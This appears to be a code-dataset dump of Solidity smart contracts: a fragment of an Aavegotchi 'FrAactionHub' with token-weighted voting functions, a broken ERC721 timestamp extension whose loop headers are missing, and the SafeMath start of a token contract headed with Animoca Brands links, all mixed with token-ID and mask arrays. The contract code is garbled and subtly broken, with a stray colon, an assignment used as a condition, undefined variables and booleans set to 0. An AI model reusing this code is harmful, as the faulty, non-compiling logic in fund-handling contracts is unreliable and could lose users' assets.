uint256 averageReserve = (reserveTotal - (old * weight)) / (votingTokens - weight);
uint256 reservePriceMin = averageReserve * ISettings(settingsContract).minReserveFactor() / 1000;
require(
_new >= reservePriceMin,
"updatePrice:reserve price too low"
);
uint256 reservePriceMax = averageReserve * ISettings(settingsContract).maxReserveFactor() / 1000;
require(
_new <= reservePriceMax,
"updatePrice:reserve price too high"
);
reserveTotal = reserveTotal + (weight * _new) - (weight * old);
}
userPrices[msg.sender] = _new;
emit PriceUpdate(msg.sender, _new);
}
/// @notice an external function to decrease an Aavegotchi staked collateral amount
function voteForStakeDecrease(uint256 _tokenId, uint256 _stakeAmount) external nonReentrant {
require(
balanceOf(msg.sender) > 0,
"VoteForStakeDecrease: user not an owner of the FrAactionHub"
);
require(
_stakeAmount < DiamondInterface(diamondContract).collateralBalance(_tokenId).balance_,
"VoteForStakeDecrease: stake amount greater than the total contributed amount"
);
require(
_stakeAmount > 0,
"VoteForStakeDecrease: staked amount must be greater than 0"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"VoteForStakeDecrease: an auction is live"
);
require(
_stakeAmount < DiamondInterface(diamondContract).getAavegotchi(_tokenId).minimumStake,
"VoteForStakeDecrease: amount has to be lower than the minimum stake"
);
if (decreaseNumber[_tokenId][_stakeAmount] != decreaseCurrentNumber[msg.sender][_tokenId][_stakeAmount]) {
votersDecrease[msg.sender][_tokenId][_stakeAmount] = 0;
currentDecreaseBalance[msg.sender][_tokenId][_stakeAmount] = 0;
}
votesTotalDecrease[_tokenId][_stakeAmount] += balanceOf(msg.sender) - currentDecreaseBalance[msg.sender][_tokenId][_stakeAmount];
currentDecreaseBalance[msg.sender][_tokenId][_stakeAmount] = balanceOf(msg.sender);
if (decreaseStaking[_tokenId][_stakeAmount] == 0) decreaseStaking[_tokenId][_stakeAmount] = _stakeAmount;
if (decreaseNumber != decreaseCurrentNumber[msg.sender]) decreaseCurrentNumber[msg.sender][_tokenId][_stakeAmount] = decreaseNumber;
if (votesTotalDecrease[_tokenId][_stakeAmount] * 1000 >= ISettings(settingsContract).minDecreaseVotePercentage() * totalSupply()) {
address collateral = DiamondInterface(diamondContract).collateralBalance(_tokenId).collateralType_;
(bool success, bytes memory returnData) =
diamondContract.call(
abi.encodeWithSignature("decreaseStake(uint256,uint256)",
_tokenId,
decreaseStaking[_tokenId]
)
);
require(
success,
string(
abi.encodePacked(
"VoteForStakeDecrease: staking order failed: ",
returnData
)
)
);
redeemedCollateral[collateral].push(decreaseStaking[_tokenId][_stakeAmount]);
if (collateralToRedeem[collateral] == 0) {
collateralToRedeem[collateral] = true;
collateralAvailable.push(collateral);
}
decreaseStaking[_tokenId][_stakeAmount] = 0;
emit StakeDecreased(
_tokenId,
decreaseStaking[_tokenId][_stakeAmount]
);
claimed[_contributor] = false;
if (allClaimed == true) allClaimed = false;
}
}
/// @notice a function to vote for opening an already purchased and closed portal
function voteForOpenPortal(uint256 _tokenId) external {
require(
initialized == true,
"voteForOpenPortal: cannot vote if an auction is ended"
);
require(
balanceOf(msg.sender) > 0,
"voteForOpenPortal: user not an owner of the NFT"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForOpenPortal: auction live cannot update price"
);
AavegotchiInfo memory gotchi = getAavegotchi(_tokenId);
require(
gotchi.status == 0,
"voteForOpenPortal: portal already open"
);
if (votersOpen[msg.sender][_tokenId] == true) {
votesTotalOpen[_tokenId] -= currentOpenBalance[msg.sender][_tokenId];
} else {
votersOpen[msg.sender][_tokenId] = true;
}
votesTotalOpen[_tokenId] += balanceOf(msg.sender);
currentOpenBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (votesTotalOpen[_tokenId] * 1000 >= ISettings(settingsContract).minOpenVotePercentage() * totalSupply()) {
DiamondInterface(diamondContract).openPortals(_tokenId);
emit OpenPortal(_tokenId);
assets[tokenIdToAssetIndex[_tokenId]].category = 1;
votesTotalOpen[_tokenId] = 0;
}
}
/// @notice vote for an Aavegotchi to be summoned
function voteForAavegotchi(uint256 _tokenId, uint256 _option) external {
AavegotchiInfo memory gotchi = getAavegotchi(_tokenId);
require(
gotchi.status == 2,
"voteForAavegotchi: portal not open yet or Aavegotchi already summoned"
);
require(_option < 10,
"voteForAavegotchi: only 10 options available"
);
require(balanceOf(msg.sender) > 0,
"voteForAavegotchi: only owners can vote"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForAavegotchi: auction live cannot update price"
);
if (votersAavegotchi[msg.sender][_tokenId] == true) {
votesAavegotchi[_tokenId][currentAavegotchiVote[msg.sender][_tokenId]] -= currentAavegotchiBalance[msg.sender][_tokenId];
votesTotalAavegotchi -= currentAavegotchiBalance[msg.sender][_tokenId];
} else {
votersAavegotchi[msg.sender][_tokenId] = true;
}
if (votesAavegotchi[_tokenId][_option] == 0) votedAavegotchi[_tokenId].push(_option);
votesAavegotchi[_tokenId][_option] += balanceOf(msg.sender);
votesTotalAavegotchi[_tokenId] += balanceOf(msg.sender);
currentAavegotchiVote[msg.sender][_tokenId] = _option;
currentAavegotchiBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
uint256 winner;
uint256 result;
if (votesTotalAavegotchi[_tokenId] * 1000 >= ISettings(settingsContract).minAavegotchiVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedAavegotchi[_tokenId].length; i++) {
if (votesAavegotchi[_tokenId][votedAavegotchi[_tokenId][i]] > result) {
result = votesAavegotchi[_tokenId][votedAavegotchi[i]];
winner = votedAavegotchi[_tokenId][i];
}
votesAavegotchi[_tokenId][votedAavegotchi[_tokenId][i]] = 0;
}
aavegotchi[_tokenId] = winner;
PortalAavegotchiTraitsIO[] memory portalInfo = DiamondInterface(diamondContract).portalAavegotchiTraits(_tokenId);
address collateral = portalInfo[_option].collateral;
DiamondInterface(collateral).approve(diamondContract, MAX_INT);
emit AppointedAavegotchi(_tokenId, aavegotchi[_tokenId]);
delete votedAavegotchi[_tokenId];
votesTotalAavegotchi[_tokenId] = 0;
}
}
/// @notice vote for naming an Aavegotchi
function voteForName(uint256 _tokenId, string calldata _name) external {
require(balanceOf(msg.sender) > 0,
"voteForName: only owners can vote"
);
AavegotchiInfo memory gotchi = getAavegotchi(_tokenId);
require(
gotchi.status == 3,
"voteForName: Aavegotchi not summoned yet"
);
require(DiamondInterface(diamondContract).aavegotchiNameAvailable(_name),
"voteForName: Aavegotchi name not available"
);
if (nameNumber[_tokenId] != nameCurrentNumber[msg.sender][_tokenId]) {
votersName[msg.sender][_tokenId] = 0;
currentNameVote[msg.sender][_tokenId] = 0;
currentNameBalance[msg.sender][_tokenId] = 0;
}
if (votersName[msg.sender][_tokenId] == true) {
votesName[_tokenId][currentNameVote[msg.sender][_tokenId]] -= currentNameBalance[msg.sender][_tokenId];
votesTotalName -= currentNameBalance[msg.sender][_tokenId];
} else {
votersName[msg.sender][_tokenId] = true;
}
if (votesName[_tokenId][_name] == 0) votedName[_tokenId].push(_name);
votesName[_tokenId][_name] += balanceOf(msg.sender);
votesTotalName[_tokenId] += balanceOf(msg.sender);
currentNameVote[msg.sender][_tokenId] = _name;
currentNameBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (nameNumber[_tokenId] != nameCurrentNumber[msg.sender][_tokenId])
nameCurrentNumber[msg.sender][_tokenId] = nameNumber[_tokenId];
string memory winner;
uint256 result;
if (votesTotalName[_tokenId] * 1000 >= ISettings(settingsContract).minNameVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedName[_tokenId].length; i++) {
if (votesName[_tokenId][votedName[_tokenId][i]] > result) {
result = votesName[_tokenId][votedName[i]];
winner = votedName[_tokenId][i];
}
votesName[_tokenId][votedName[_tokenId][i]] = 0;
votedName[_tokenId][i] = 0;
}
name[_tokenId] = winner;
DiamondInterface(diamondContract).setAavegotchiName(_tokenId, name[_tokenId]);
emit Named(_tokenId, name[_tokenId]);
votesTotalName[_tokenId] = 0;
nameNumber[_tokenId]++:
}
}
/// @notice vote for spending available skill points on an Aavegotchi
function voteForSkills(uint256 _tokenId, int16[4] calldata _values) external {
require(balanceOf(msg.sender) > 0,
"voteForSkills: only owners can vote"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForSkills: auction live cannot update price"
);
uint256 total;
for (uint i = 0; i < _values.length; i++) {
if (_values[i] < 0) {
total += -(_values[i]);
} else {
total += _values[i];
}
}
require(total > 0,
"voteForSkills: must allocate at least 1 skill point"
);
require(DiamondInterface(diamondContract).availableSkillPoints(_tokenId) > total,
"voteForSkills: not enough available skill points"
);
if (skillNumber[_tokenId] != skillCurrentNumber[msg.sender][_tokenId]) {
votersSkill[msg.sender][_tokenId] = 0;
currentSkillBalance[msg.sender][_tokenId] = 0;
}
if (votersSkill[msg.sender][_tokenId] == true) {
votesSkill[_tokenId][currentSkillVote[msg.sender][_tokenId]] -= currentSkillBalance[msg.sender][_tokenId];
votesTotalSkill -= currentSkillBalance[msg.sender][_tokenId];
} else {
votersSkill[msg.sender][_tokenId] = true;
}
uint256 counter;
if (skillVoting[_tokenId] == false) {
votedSkill[_tokenId].push(_values);
votesSkill[_tokenId][0] += balanceOf(msg.sender);
currentSkillVote[msg.sender][_tokenId] = 0;
skillVoting[_tokenId] = true;
} else if (skillVoting == true) {
for (uint i = 0; i < votedSkill.length; i++) {
for (uint j = 0; j < _values.length; j++) {
if (votedSkill[i][j] == _values[j]) counter++;
}
if (counter == 4) {
votesSkill[_tokenId][i] += balanceOf(msg.sender);
currentSkillVote[msg.sender][_tokenId] = i;
break;
}
}
} else if (counter != 4) {
votedSkill[_tokenId].push(_values);
skillIndex++;
votesSkill[_tokenId][skillIndex] += balanceOf(msg.sender);
currentSkillVote[msg.sender][_tokenId] = skillIndex;
}
votesTotalSkill[_tokenId] += balanceOf(msg.sender);
currentSkillBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (skillNumber[_tokenId] != skillCurrentNumber[msg.sender][_tokenId])
skillCurrentNumber[msg.sender][_tokenId] = skillNumber[_tokenId];
uint256 winner;
uint256 result;
if (votesTotalSkill[_tokenId] * 1000 >= ISettings(settingsContract).minSkillVotePercentage() * totalSupply()) {
for (uint i = 0; i < votedSkill[_tokenId].length; i++) {
if (votesSkill[_tokenId][i] > result) {
result = votesSkill[_tokenId][i];
winner = i;
}
votesSkill[_tokenId][i] = 0;
}
DiamondInterface(diamondContract).spendSkillPoints(_tokenId, votedSkill[_tokenId][winner]);
emit SkilledUp(_tokenId, votedSkill[_tokenId][winner]);
delete votedSkill[_tokenId];
skillNumber[_tokenId]++;
votesTotalSkill[_tokenId] = 0;
}
}
/// @notice vote for equipping an Aavegotchi with the selected items in the parameter _wearablesToEquip
function equipWearables(uint256 _tokenId, int16[16] calldata _wearablesToEquip) external {
require(balanceOf(msg.sender) > 0,
"equipWearables: only owners can use this function"
);
require(
auctionStatus == AuctionStatus.INACTIVE,
"equipWearables: auction live cannot equipe wearables"
);
if (fundingStatus = FundingStatus.SUBMITTED) {
require(
_tokenId != listingId,
"equipWearables: cannot equip a type of item being purchased"
);
}
DiamondInterface(diamondContract).equipWearables(_tokenId, _wearablesToEquip);
emit Equipped(_tokenId, _values);
}
/// @notice vote for using consumables on one or several Aavegotchis
function useConsumables(
uint256 _tokenId,
uint256[] calldata _itemIds,
uint256[] calldata _quantities
) external {
require(balanceOf(msg.sender) > 0,
"useConsumables: only owners can use this function"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"useConsumables: auction live cannot use consumables"
);
DiamondInterface(diamondContract).useConsumables(_tokenId, _itemIds, _quantities);
emit ConsumablesUsed(_tokenId, _itemIds, _quantities);
}
/// @notice vote for and appoint a new Player to play with the FrAactionHub's Aavegotchi(s) on behalf of the other owners
function voteForPlayer(address _player) external {
require(
balanceOf(_player) > 0,
"voteForPlayer: player not an owner of the FrAactionHub"
);
require(
finalAuctionStatus != FinalAuctionStatus.ENDED,
"voteForPlayer: cannot vote if an auction is ended"
);
require(
initialized == true,
"voteForPlayer: FrAactionHub not fractionalized yet"
);
require(
balanceOf(msg.sender) > 0,
"voteForPlayer: user not an owner of the NFT"
);
require(
gameType == 0, // 0 is for Delegated FrAactionHub, 1 for Collective FrAactionHub
"voteForPlayer: this FrAactionHub was set as Collective by its creator"
);
if (playerNumber != playerCurrentNumber[msg.sender]) {
votersPlayer[msg.sender] = 0;
currentPlayerVote[msg.sender] = 0;
currentPlayerBalance[msg.sender] = 0;
}
if (votersPlayer[msg.sender] == true) {
votesPlayer[currentPlayerVote[msg.sender]] -= currentPlayerBalance[msg.sender];
votesTotalPlayer -= currentPlayerBalance[msg.sender];
} else {
votersPlayer[msg.sender] = true;
}
votesPlayer[_player] += balanceOf(msg.sender);
votesTotalPlayer += balanceOf(msg.sender);
currentPlayerVote[msg.sender] = _player;
currentPlayerBalance[msg.sender] = balanceOf(msg.sender);
if (playerNumber != playerCurrentNumber[msg.sender]) playerCurrentNumber[msg.sender] = playerNumber;
address winner;
uint256 result;
if (votesTotalPlayer * 1000 >= ISettings(settingsContract).minPlayerVotePercentage() * totalSupply()) {
for (uint i = 0; i < ownersAddress.length; i++) {
if (votesPlayer[ownersAddress[i]] > result) {
result = votesPlayer[ownersAddress[i]];
winner = ownersAddress[i];
}
if (votesPlayer[ownersAddress[i]] != 0) votesPlayer[ownersAddress[i]] = 0;
}
player = winner;
playerNumber++;
votesTotalPlayer = 0;
DiamondInterface(diamondContract).setApprovalForAll(player, true);
emit AppointedPlayer(player);
}
}
function voteForDestruction(uint256 _tokenId, uint256 _xpToId) external {
require(balanceOf(msg.sender) > 0,
"voteForDestruction: only owners can vote"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"voteForDestruction: auction live cannot update price"
);
if (destroyNumber[_tokenId] != destroyCurrentNumber[msg.sender][_tokenId]) {
votersDestroy[msg.sender][_tokenId] = 0;
currentDestroyBalance[msg.sender][_tokenId] = 0;
}
if (votersDestroy[msg.sender][_tokenId] == true) {
votesTotalDestroy[_tokenId] -= currentDestroyBalance[msg.sender][_tokenId];
} else {
votersDestroy[msg.sender][_tokenId] = true;
}
votesTotalDestroy[_tokenId] += balanceOf(msg.sender);
currentDestroyBalance[msg.sender][_tokenId] = balanceOf(msg.sender);
if (xpToId[_tokenId] == 0) xpToId[tokenId] = _xpToId;
if (destroyNumber[_tokenId] != destroyCurrentNumber[msg.sender][_tokenId])
destroyCurrentNumber[msg.sender][_tokenId] = destroyNumber[_tokenId];
if (votesTotalDestroy[_tokenId] * 1000 >= ISettings(settingsContract).minDestroyVotePercentage() * totalSupply()) {
address collateral = DiamondInterface(diamondContract).collateralBalance(_tokenId).collateralType_;
uint256 balance = DiamondInterface(diamondContract).collateralBalance(_tokenId).balance_;
(bool success, bytes memory returnData) =
diamondContract.call(
abi.encodeWithSignature("decreaseAndDestroy(uint256,uint256)",
_tokenId,
xpToId
)
);
require(
success,
string(
abi.encodePacked(
"voteForDestruction: staking order failed: ",
returnData
)
)
);
redeemedCollateral[collateral].push(balance);
if (collateralToRedeem[collateral] == 0) {
collateralToRedeem[collateral] = true;
collateralAvailable.push(collateral);
}
emit Destroy(_tokenId);
destroyNumber[_tokenId]++;
votesTotalDestroy[_tokenId] = 0;
}
}
/// @notice an internal function used to register receiver previous FractionHub token balance, to be used in the _afterTokenTransfer function
/// @param _from the ERC20 token sender
/// @param _to the ERC20 token receiver
/// @param _amount the ERC20 token amount
function _beforeTokenTransfer(address _from, address _to, uint256 _amount) internal virtual override {
require (split != 7 && split != 8,
"beforeTokenTransfer: cannot transfer because ownership transfer or claimAll ongoing"
);
beforeTransferToBalance = balanceOf(_to);
}
/// @notice an internal function used to update the ownership register and update sender and receivers price after each FractionHub token transfer
/// @param _from the ERC20 token sender
/// @param _to the ERC20 token receiver
/// @param _amount the ERC20 token amount
function _afterTokenTransfer(address _from, address _to, uint256 _amount) internal virtual override {
address replace;
if (balanceOf(_from) == 0) {
if (beforeTransferToBalance == 0) {
replace = ownersAddress[ownersAddress.length - 1];
ownersAddress[ownerAddressIndex[_from]] = replace;
ownersAddress.pop();
ownerAddressIndex[replace] = ownerAddressIndex[_from];
delete ownerAddressIndex[_from];
} else {
ownersAddress[ownerAddressIndex[_from]] = _to;
ownerAddressIndex[_to] = ownerAddressIndex[_from];
delete ownerAddressIndex[_from];
}
}
if (balanceOf(_from) != 0 && beforeTransferToBalance == 0) {
ownersAddress.push(_to);
}
if (_from != address(0)) {
uint256 fromPrice = userPrices[_from];
uint256 toPrice = userPrices[_to];
// only do something if users have different reserve price
if (toPrice != fromPrice) {
// new holder is not a voter
if (toPrice == 0) {
// removing old holder's reserve price
votingTokens -= _amount;
reserveTotal -= _amount * fromPrice;
}
// old holder is not a voter
else if (fromPrice == 0) {
votingTokens += _amount;
reserveTotal += _amount * toPrice;
}
// both holders are voters
else {
reserveTotal = reserveTotal + (_amount * toPrice) - (_amount * fromPrice);
}
}
}
}
} | @notice a function for an end user to update their desired sale price @param _new the desired price in GHST | function updateUserPrice(uint256 _new) external {
require(
balanceOf(msg.sender) > 0,
"updateUserPrice: user not an owner of the FrAactionHub"
);
require(
finalAuctionStatus == FinalAuctionStatus.INACTIVE,
"updatePrice: auction live cannot update price"
);
require(
initialized == true,
"updatePrice: FrAactionHub not fractionalized yet"
);
uint256 old = userPrices[msg.sender];
require(
_new != old,
"updatePrice:not an update"
);
uint256 weight = balanceOf(msg.sender);
if (votingTokens == 0) {
votingTokens = weight;
reserveTotal = weight * _new;
}
else if (weight == votingTokens && old != 0) {
reserveTotal = weight * _new;
}
else if (old == 0) {
uint256 averageReserve = reserveTotal / votingTokens;
uint256 reservePriceMin = averageReserve * ISettings(settingsContract).minReserveFactor() / 1000;
require(
_new >= reservePriceMin,
"updatePrice:reserve price too low"
);
uint256 reservePriceMax = averageReserve * ISettings(settingsContract).maxReserveFactor() / 1000;
require(
_new <= reservePriceMax,
"update:reserve price too high"
);
votingTokens += weight;
reserveTotal += weight * _new;
}
else if (_new == 0) {
votingTokens -= weight;
reserveTotal -= weight * old;
}
else {
uint256 averageReserve = (reserveTotal - (old * weight)) / (votingTokens - weight);
uint256 reservePriceMin = averageReserve * ISettings(settingsContract).minReserveFactor() / 1000;
require(
_new >= reservePriceMin,
"updatePrice:reserve price too low"
);
uint256 reservePriceMax = averageReserve * ISettings(settingsContract).maxReserveFactor() / 1000;
require(
_new <= reservePriceMax,
"updatePrice:reserve price too high"
);
reserveTotal = reserveTotal + (weight * _new) - (weight * old);
}
userPrices[msg.sender] = _new;
emit PriceUpdate(msg.sender, _new);
}
| 5,359,746 | [
1,
69,
445,
364,
392,
679,
729,
358,
1089,
3675,
6049,
272,
5349,
6205,
225,
389,
2704,
326,
6049,
6205,
316,
611,
44,
882,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
28213,
5147,
12,
11890,
5034,
389,
2704,
13,
3903,
288,
203,
3639,
2583,
12,
203,
5411,
11013,
951,
12,
3576,
18,
15330,
13,
405,
374,
16,
7010,
5411,
315,
2725,
1299,
5147,
30,
729,
486,
392,
3410,
434,
326,
13363,
37,
1128,
8182,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
727,
37,
4062,
1482,
422,
16269,
37,
4062,
1482,
18,
706,
13301,
16,
7010,
5411,
315,
2725,
5147,
30,
279,
4062,
8429,
2780,
1089,
6205,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
6454,
422,
638,
16,
7010,
5411,
315,
2725,
5147,
30,
13363,
37,
1128,
8182,
486,
20462,
1235,
4671,
6,
203,
3639,
11272,
203,
3639,
2254,
5034,
1592,
273,
729,
31862,
63,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
203,
5411,
389,
2704,
480,
1592,
16,
7010,
5411,
315,
2725,
5147,
30,
902,
392,
1089,
6,
203,
3639,
11272,
203,
3639,
2254,
5034,
3119,
273,
11013,
951,
12,
3576,
18,
15330,
1769,
203,
203,
3639,
309,
261,
90,
17128,
5157,
422,
374,
13,
288,
203,
5411,
331,
17128,
5157,
273,
3119,
31,
203,
5411,
20501,
5269,
273,
3119,
380,
389,
2704,
31,
203,
3639,
289,
203,
3639,
469,
309,
261,
4865,
422,
331,
17128,
5157,
597,
1592,
480,
374,
13,
288,
203,
5411,
20501,
5269,
273,
3119,
380,
389,
2704,
31,
203,
3639,
289,
203,
3639,
469,
309,
261,
1673,
422,
374,
13,
288,
203,
5411,
2254,
5034,
8164,
607,
6527,
273,
20501,
5269,
342,
331,
17128,
5157,
31,
203,
5411,
2254,
5034,
20501,
2
] |
./full_match/5/0x57C66f08dB6E1fD9d9d32f204EF557Ef8c62b7C2/sources/project_/contracts/base/ERC721Extensions/ERC721Timestamp.sol | * @dev This implements an optional functionality to ERC721Enumerable to store the last transfer timestamp of each token and query how long the current holder has held it/ | abstract contract ERC721Timestamp is MetawinERC721Enumerable{
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
}
function timeHeldById(uint256 _tokenId) public view returns (uint256 _timeHeld) {
_timeHeld = _exists(_tokenId) ? block.timestamp - lastTransferTimestamp[_tokenId] : 0;
}
function timeHeldCumulative(address user) external view returns (uint256 _cumulativeHODL) {
uint256 tokenId = tokenOfOwnerByIndex(user, i);
unchecked{
++i;
}
}
function timeHeldCumulative(address user) external view returns (uint256 _cumulativeHODL) {
uint256 tokenId = tokenOfOwnerByIndex(user, i);
unchecked{
++i;
}
}
}
| 1,932,619 | [
1,
2503,
4792,
392,
3129,
14176,
358,
4232,
39,
27,
5340,
3572,
25121,
358,
1707,
326,
1142,
7412,
2858,
434,
1517,
1147,
471,
843,
3661,
1525,
326,
783,
10438,
711,
15770,
518,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
17801,
6835,
4232,
39,
27,
5340,
4921,
353,
6565,
8082,
654,
39,
27,
5340,
3572,
25121,
95,
203,
203,
203,
203,
565,
445,
389,
5771,
1345,
5912,
12,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
1147,
548,
13,
2713,
5024,
3849,
288,
203,
565,
289,
203,
203,
565,
445,
813,
44,
488,
5132,
12,
11890,
5034,
389,
2316,
548,
13,
1071,
1476,
1135,
261,
11890,
5034,
389,
957,
44,
488,
13,
288,
203,
3639,
389,
957,
44,
488,
273,
389,
1808,
24899,
2316,
548,
13,
692,
1203,
18,
5508,
300,
1142,
5912,
4921,
63,
67,
2316,
548,
65,
294,
374,
31,
203,
565,
289,
203,
203,
565,
445,
813,
44,
488,
39,
11276,
12,
2867,
729,
13,
3903,
1476,
1135,
261,
11890,
5034,
389,
71,
11276,
44,
1212,
48,
13,
288,
203,
5411,
2254,
5034,
1147,
548,
273,
1147,
951,
5541,
21268,
12,
1355,
16,
277,
1769,
203,
5411,
22893,
95,
203,
7734,
965,
77,
31,
203,
5411,
289,
203,
3639,
289,
203,
565,
445,
813,
44,
488,
39,
11276,
12,
2867,
729,
13,
3903,
1476,
1135,
261,
11890,
5034,
389,
71,
11276,
44,
1212,
48,
13,
288,
203,
5411,
2254,
5034,
1147,
548,
273,
1147,
951,
5541,
21268,
12,
1355,
16,
277,
1769,
203,
5411,
22893,
95,
203,
7734,
965,
77,
31,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2021-09-13
*/
pragma solidity ^0.6.6;
/*
🔗 ANIMOCA LINKS
🖥 Website: https://www.animocabrands.com/
💬 Medium : https://animocabrands.medium.com/
🦜 Twitter: https://twitter.com/animocabrands
*/
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
